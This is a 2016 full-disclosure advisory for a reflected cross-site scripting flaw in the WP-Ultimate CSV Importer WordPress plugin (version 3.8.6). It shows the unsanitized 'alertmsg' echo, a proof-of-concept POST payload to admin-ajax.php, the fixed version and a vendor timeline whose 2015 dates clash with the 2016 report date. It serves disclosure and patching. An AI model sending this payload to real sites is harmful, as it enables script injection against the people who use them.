WordPress Ultimate CSV Importer 3.8.6 Cross Site Scripting

`## FULL DISCLOSURE  
  
#Product : WP-Ultimate CSV Importer  
#Exploit Author : Rahul Pratap Singh  
#Version : 3.8.6  
#Home page Link : https://wordpress.org/plugins/wp-ultimate-csv-importer  
<https://wordpress.org/plugins/wp-ultimate-csv-importer</a><br>#Website>  
#Website : 0x62626262.wordpress.com  
#Linkedin : https://in.linkedin.com/in/rahulpratapsingh94  
#Date <https://in.linkedin.com/in/rahulpratapsingh94<br>#Date> :  
27/Jan/2016  
  
XSS Vulnerability:  
  
Description:  
"alertmsg" parameter is not sanitized that leads to reflected XSS.  
  
Vulnerable Code:  
File Name: /wp-ultimate-csv-importer/index.php  
  
Found at line:256  
echo __($_POST['alertmsg'],'wp-ultimate-csv-importer');  
  
Exploit:  
POST /wp-admin/admin-ajax.php  
  
action=trans_alert_str&alertmsg=<input+type%3Dtext+onclick%3Dalert(%2FXSS%2F)>  
  
POC:  
https://0x62626262.files.wordpress.com/2016/01/wp-ultimate-csv-importerxsspoc.png  
  
Fix:  
Update to 3.8.8  
  
Vulnerability Disclosure Timeline:  
→ January 14, 2015 – Bug discovered, initial report to Vendor  
→ January 14, 2015 – Vendor acknowledged and scheduled a fix  
→ January 18, 2015 – Reported to wordpress  
→ January 19, 2015 – WordPress Response, plugin taken down  
→ January 26, 2015 – Vendor Deployed a Patch  
  
#######################################  
# CTG SECURITY SOLUTIONS #  
# www.ctgsecuritysolutions.com #  
#######################################  
  
Pub Ref:  
https://0x62626262.wordpress.com/2016/01/26/wp-ultimate-csv-importer-xss-vulnerability/  
https://wordpress.org/plugins/wp-ultimate-csv-importer/changelog/  
<https://wordpress.org/plugins/wp-ultimate-csv-importer/changelog/</a></p><br>[+]>  
  
[+] Disclaimer:  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and that due  
credit is given. Permission is explicitly given for insertion  
in vulnerability databases and similar, provided that due credit is given  
to the author.  
The author is not responsible for any misuse of the information  
contained herein and prohibits any malicious use of all security related  
information or exploits by the author or elsewhere.  
`